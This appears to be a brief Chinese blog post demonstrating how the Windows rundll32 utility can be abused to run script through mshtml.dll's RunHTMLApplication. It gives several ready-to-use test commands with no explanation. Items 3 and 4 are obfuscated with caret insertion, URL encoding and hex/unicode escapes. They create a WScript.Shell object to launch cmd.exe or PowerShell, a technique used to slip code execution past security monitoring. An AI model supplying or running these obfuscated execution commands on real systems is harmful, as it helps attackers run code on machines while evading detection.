Rundll32执行恶意代码

冷不防 2023-01-24 02:24 124阅读 0赞

**测试条目1**

rundll32 javascript:"\..\mshtml.dll,RunHTMLApplication ";window.open('calculator:0')

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70][]

**测试条目2**

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70 1][]

**测试条目3**

@run^dll^32 java^script:"\..\mshtml.dll,RunHTMLApplication ";%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%29;%6e%65%77%20%41%63%74%69%76%65%58%4f%62%6a%65%63%74%28'\x57\x53\x63\x72\x69\x70\x74\x2e\x53\x68\x65\x6c\x6c'%29.%52%75%6e%28'\u0043\u003a\u005c\u0057\u0069\u006e\u0064\u006f\u0077\u0073\u005c\u0053\u0079\u0073\u0074\u0065\u006d\u0033\u0032\u005c\u0063\u006d\u0064\u002e\u0065\u0078\u0065'%29

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70 2][]

**测试条目4**

@run^dll^32 java^script:"\..\mshtml.dll,RunHTMLApplication ";%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%29;%6e%65%77%20%41%63%74%69%76%65%58%4f%62%6a%65%63%74%28'\x57\x53\x63\x72\x69\x70\x74\x2e\x53\x68\x65\x6c\x6c'%29.%52%75%6e%28'\u0070\u006f\u0077\u0065\u0072\u0073\u0068\u0065\u006c\u006c'%29

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70 3][]

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70]: /images/20221004/97e886a5999e4efab0217064a02bbb28.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70 1]: /images/20221004/e2123d1d9ba44a458583fcffb08130ba.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70 2]: /images/20221004/f5b5379e4aa64b56aedb4cef13d75be0.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0ZseV9ocHM_size_16_color_FFFFFF_t_70 3]: /images/20221004/a831b87137374b86b9d41220e9411095.png